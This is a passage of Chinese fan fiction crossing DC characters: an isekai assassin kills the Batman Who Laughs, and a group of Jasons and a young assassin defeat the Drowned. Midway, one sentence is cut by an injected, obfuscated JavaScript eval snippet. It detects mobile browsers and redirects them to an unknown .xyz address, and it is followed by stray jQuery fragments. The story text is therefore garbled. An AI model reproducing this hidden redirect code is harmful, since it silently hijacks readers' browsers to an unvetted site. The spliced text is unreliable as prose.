伊斯努力不再去想杰森的事，说道：“我当然比他聪明，但是的但是……”
“我请问，”伊斯抬手指洗脑装置前方的一个牌子，“这上面写满了‘洗脑装置原理如下’是什么意思呢？”
好过分啊，竟然还附上了结构原理，生怕他看不懂？
好吧他确实看不懂。
狂笑蝙蝠无所谓地说道：“很简单，字面意思。为什么写这个你自己猜，万一我就喜欢看你们躺在这不能动弹还被迫知道自己即将被洗脑时痛苦的样子？”
伊斯想了想，很快想到了一种可能性：“我猜，另一个我是不是装成被洗脑的样子让你放下戒备放跑了他？你后来查过他的特异之处是只会被自己觉得合理的东西攻击到，所以看到跟他是同位体的我就抓来试试让我知道这个是洗脑装置后洗脑我？”
狂笑蝙蝠走过来，一把撕掉了贴在伊斯头上的已经有些发烫的洗脑装置，有一搭没一搭地闲聊：“我错估了你的智力，你和那个小的都没脑子能理解洗脑装置的原理，所以这东西对你们不起作用。”
伊斯爬起来呲牙咧嘴地摸了摸太阳穴，摸到了一手粘腻，翻身用床头铁板的反光照了照发现皮肉被粘下来一块。
伊斯撕了一节衣摆简单包扎了一下自己的脑袋，嘀咕道：“如果你没有莫名其妙毁我容的话，听你聊天可一点都不像神经病。”
太坏了，他现在包扎完看起来简直像是盲人，视野范围只有下半部分。
狂笑蝙蝠不在意他的诋毁，但很在意他没法被洗脑：“你们看上去倒更像是神经病，连这么简单的原理都理解不了，还是人吗。”
伊斯扶着头：“……欺人太甚，文科生没惹。”
就狂笑蝙蝠写的那个洗脑装置原理，伊斯能背下来说给自己世界的蝙蝠侠听，但他真的没法理解为什么这些冰冷的电子器械能影响人类飘渺的、自己都抓不住的想法。
所以在他看来，洗脑装置就是不合理的科技，不可能对人起作用。
或许他找个伊斯为理科生的世界可以试试洗脑装置，但小刺客和他看上去都有种大脑没被知识污染过的清澈愚蠢。
小刺客被狂笑抓来过这件事虽然没人跟伊斯说详情，但他也能猜到狂笑肯定在小刺客那吃过一次亏。
就是不知道为什么，小刺客没能杀死这个祸害。
想到这，伊斯幽幽叹了口气：“我大概知道地府为什么把我扔这来了。”
狂笑很给面子地接话：“为了让我枯燥的征途多点趣味性。”
伊斯：“错了，是为了替人补刀、让我金盆洗手的人生再添一条狗命——你自己送上来的。”
噗呲——
谈笑间，匕首刺穿狂笑蝙蝠的胸膛，鲜血从他前胸涌出，在伊斯将匕首拔出后很快便流淌了一地。
觉得不保险，伊斯又左右各补了一刀。
怕狂笑蝙蝠跟曾经短视频里刷到的一样心脏长在肚子里，他又往对方肚子刺了一刀。
补刀是好文明。虽残忍，但伊斯决定干完这单就真的金盆洗手了。
下次地府再拉他为了救什么世界而杀人，那他真得怀疑自己所在世界的反派是地府了，不然为什么要逼他杀人。
至于刀子从哪来的？
在狂笑蝙蝠抓他来蝙蝠洞前，确实有检查过伊斯身上没有武器，蝙蝠洞里也没有能伤害到狂笑蝙蝠的东西。
但伊斯有一把地府送的匕首，平时不显形，用的时候默念一声匕首就会出现。据说是公元前几百年某位知名刺客流传下来的，老古董了。
在伊斯刺杀补刀的整个过程中，狂笑只是一昧的大笑，没有阻拦。能看到他甚至没有除了开心、高兴以外的其他情绪，像个真正的疯子那样。
也不能这么说，他本来就是疯子。
“蝙蝠的学徒竟然会杀人，太有意思了……你真的很适合做我的学徒，比那些罗宾狗合适多了hahaha……”
本来还有些担心这三处都不是狂笑的心脏，直到看见绿色的气体从狂笑蝙蝠侠身体里冒出来，伊斯这才掩住口鼻，悄悄松了口气。
太好了，马上就能让他安息了。
狂笑蝙蝠侠此刻边漏气边笑，肺坏掉后，她他的笑声像破风箱一样难听——这没有在说他之前笑得就好听的意思——他大声笑着，说伊斯这个孩子实在有意思，他很期待复活后看到伊斯狂笑化的样子。
“不会的。”伊斯怜悯地看了他一眼，想着死者为大，就不告诉他自己刀下曾经还走过一个叫小丑的家伙。
他们的毒气并不能给他造成任何不良影响——除了臭味确实很难闻以外。
等等，好像有什么不太对。
伊斯低头看了眼，自己沾到狂笑蝙蝠飞溅出来的血液的地方好像起了红斑，有点疼，喉咙也痒痒的。
虽然不像中毒了，但很像过敏了。
奇怪的是，伊斯想去楼上翻找过敏药物时，这过敏反应又很快消退了。
伊斯：“……”
回家的方式是左转三圈、右转三圈，再踏三下地，由黑白无常带他返回原先的世界，后这个他记得。
但他决定先做完身体检查再回自己世界，以免产生灵魂凝实的身体重新变回灵魂回归躯壳时携带病毒、回家导致全家团灭的意外。
蝙蝠洞的东西肯定不能用了，鬼知道狂笑这家伙会不会留后手让他物理意义上扎死自己。
伊斯掰着手指数了数，发现自己知道的在世界上有这种高科技检测装置的人不超过四个：蝙蝠洞、刺客联盟、莱克斯卢瑟、正义联盟。
正义联盟应该是团灭了不然没人拦着狂笑蝙蝠，这个不提；
莱克斯卢瑟肯定是不能去的，去了到时候自己在蝙蝠洞体验到的就会在他那重新体验一遍，就算运气好卢瑟没动手脚，伊斯也不一定信他的检测结果；
那现在只剩刺客联盟了。等处理完韦一笑，找到杰森后就去一趟刺客联盟吧。
伊斯抓了把头发，拿根小棍子戳了戳狂笑：“你好，还活着吗？”
嗯，邦硬。看来凉透了。
确定自己的特质发力、韦一笑不会突然复活咬他一口后，他扯下披风包住手，拉起停止流血的狂笑往蝙蝠洞外的空地走去。
先把这个布韦恩火化，安葬在韦恩墓园后再去找其他人吧。
疑似感染源这种威胁性先不谈，好歹生前也是个令人尊敬的蝙蝠侠，能下定决心为了红头罩和哥谭人民杀死小丑就很值得伊斯尊敬了。
阿门，一路走好。
伊斯将一捧黑土洒在韦一笑的骨灰盒上，跟他作最后的告别。
……
伊斯惦记着的小杰森此刻正跟着红头罩和小刺客一起走在哥谭街道上。
刚刚有人想要偷袭他，多亏红头罩和小刺客及时赶到，这才平安无事。
小杰森抬头看向红头罩，好奇问道：“你现在要带我们去哪？”
红头罩看了他一眼，没回答。
小刺客在一旁笑嘻嘻地说：“当然是把你卖掉，卖给我们伟大的溺亡怨魂布鲁茜韦恩女士啦！”
两人身上一点杀气都没有，这种话杰森就当他们是在吓小孩了。
杰森只问了自己感兴趣的：“什么布鲁茜？你们世界的韦恩是位女士吗？”
他压根没问溺亡怨魂是什么意思，虽然听起来不太妙，但是介于很多人都有中二病，他理解为这是这个世界的蝙蝠女侠中二时期起的称号。
小刺客想了一下，还是没告诉他太多，只回答道：“差不多吧，可以这么理解。”
几人走到海边时，一阵狂风刮起水龙卷，在水面渐渐平静之后，一头乌黑长发的溺亡冤魂从水龙卷里走出。
“狂笑说想找我，为什么他自己没来，只派你们来？”溺亡怨魂颦眉。“他当初可是说十天内结束这个世界的，这可都第二周了，还没结束？”
小刺客面不改色：“这个世界的毁灭计划被入侵者打断了，很多异世界来客在帮助那些蝼蚁负偶抵抗，狂笑大人正在处理其他异世界来客，叫我把其中一个带给你拿去玩。”
小杰森听完这番话目瞪口呆：不是吧，来真的？真把他卖了？
红头罩推了一把小杰森。
小杰森没防备他，一下子摔倒在地上（很难说是不是他自己故意的，因为红头罩
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16248192|181449||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
压根没用力），同时悄悄抬头往上看。
不行，这个大烟熏妆看着就不像好人，自己可能真被卖了。
不知道地府帮他提前获得的未来武器大种姓之刃能不能砍掉溺亡怨魂的脑袋。
溺亡怨魂远远打量着杰森，嗤笑道：“那个家伙可不会随便给我什么人，让我看看你是有什么特殊之处……”
溺亡怨魂刚落到地面上，在靠近小杰森时，一侧头，一枚子弹擦着她的脸颊飞过，没入水龙卷。
是红头罩。
他默默举枪，一发接一发的射击，直到把弹夹射空，但没有一发能对溺亡怨魂造成伤害。
小杰森跳起来躲开溺亡怨魂，有些崩溃道：“未来的我准头怎么会这么差！你没有一发打中她吗？！”
杰森一把扯下绷带，随手一扔，露出没有伤疤完好无损的帅气面容，只是一开口就影响了颜值：“说什么屁话！不懂就闭上嘴，就算我复活有后遗症我手也没抖，看不懂她免疫我子弹的伤害吗！”
小杰森看向前方，发现溺亡怨魂只是象征性地躲了几发射向她的子弹，但就算是没躲开，子弹也没有对她造成伤害。
于是大小杰森一起怒骂溺亡冤魂玩不起。
见杰森子弹用尽停止射击，溺亡怨魂便像腻烦了般高举起三叉戟。滔天的巨浪随之冲上岸，卷走了周边能被摧毁的一切。
红头罩在海水即将淹没几人前及时冲过去捞起了小杰森。再之后，就看不清海浪里发生了什么了。
就这个海浪冲击的力度，要是命中了，三个人真的很难能活下来。
“蠢货，真以为自己能算计到我？”溺亡怨魂有些不耐烦道，“狂笑那家伙怎么搞的，竟然连哥谭都没法完全掌控了，还让你们拿到了通讯装置骗我过来。”
一道破空声自身后传来，溺亡怨魂却没有躲闪。虽然不知道对方怎么扛住了海浪冲击，但能对她造成伤害的物质第十金属，这世界上暂时还不存在。
没想到她跟狂笑犯了一样的错误——过于自信。
于是在同一天里，狂笑和溺亡怨魂败给了同一个人不同同位体的同种刺杀方法。
“哎呀，不好意思，蠢货的刺杀成功了呢。”
小刺客抽出匕首跳到一旁，背着一只手笑眯眯地看着对方。溺亡怨魂在他身上看到了拉尔斯奥古的影子。
溺亡冤魂没觉得是自己大意了，只觉得有些不甘心，但即将拥抱死亡的她已经无力再拿起三叉戟反抗了。她问道：“为什么你能刺伤我？”
接着她又想到另一件事，“你们是杀了狂笑……又用他的通讯装置骗我过来？！”
伊斯尽量回答了她的所有问题，不过这回答是不是糊弄她的也不好说：“因为正义就是要打败邪恶的。还有，我只是被他绑走后用他的装置发了点信息然后炸了装置逃跑，没真杀死他，我可不打算冒着狂笑化的风险杀狂笑。”
至于狂笑现在有没有死在同位体手里……反正不是他干的，他就无所谓了。
红头罩单手抱着小杰森用钩爪枪荡过来，落在附近较高的建筑物上：“输给伊斯坎达尔不丢人，他就是个挂。”
小刺客收下了他的赞誉：“谢谢，只是在这个拼爹的时代，我有个挂b老爹。”
小杰森扒着红头罩的手臂，刚想说什么，就听见旁边的溺亡冤魂问出了那个他也想问的问题：“……你父亲是谁？”
她死死盯着他们，还是不能理解为什么他们两个黑暗骑士团未来的精英会败给一个破败宇宙仅剩的蝼蚁。
小刺客感受到了恶意的盯视，但他只是跟红头罩站在一起仰视着地上的溺亡冤魂。
小刺客眉眼弯弯，“你刚刚说我是个蠢货的时候，我其实就很想笑了——毕竟我父亲是这世界上最聪明的人。”
也许是在刺客联盟待久了，小刺客每次说话都如同吟诵古语般缓慢。
但他吐字很清晰，能让溺亡怨魂能清清楚楚的听到每个单词、知道自己输给了谁。
“之前不知道我的名字没关系，但到地狱可要记好了，下辈子复仇别找错人。”
“我叫——伊斯坎达尔.福尔摩斯。”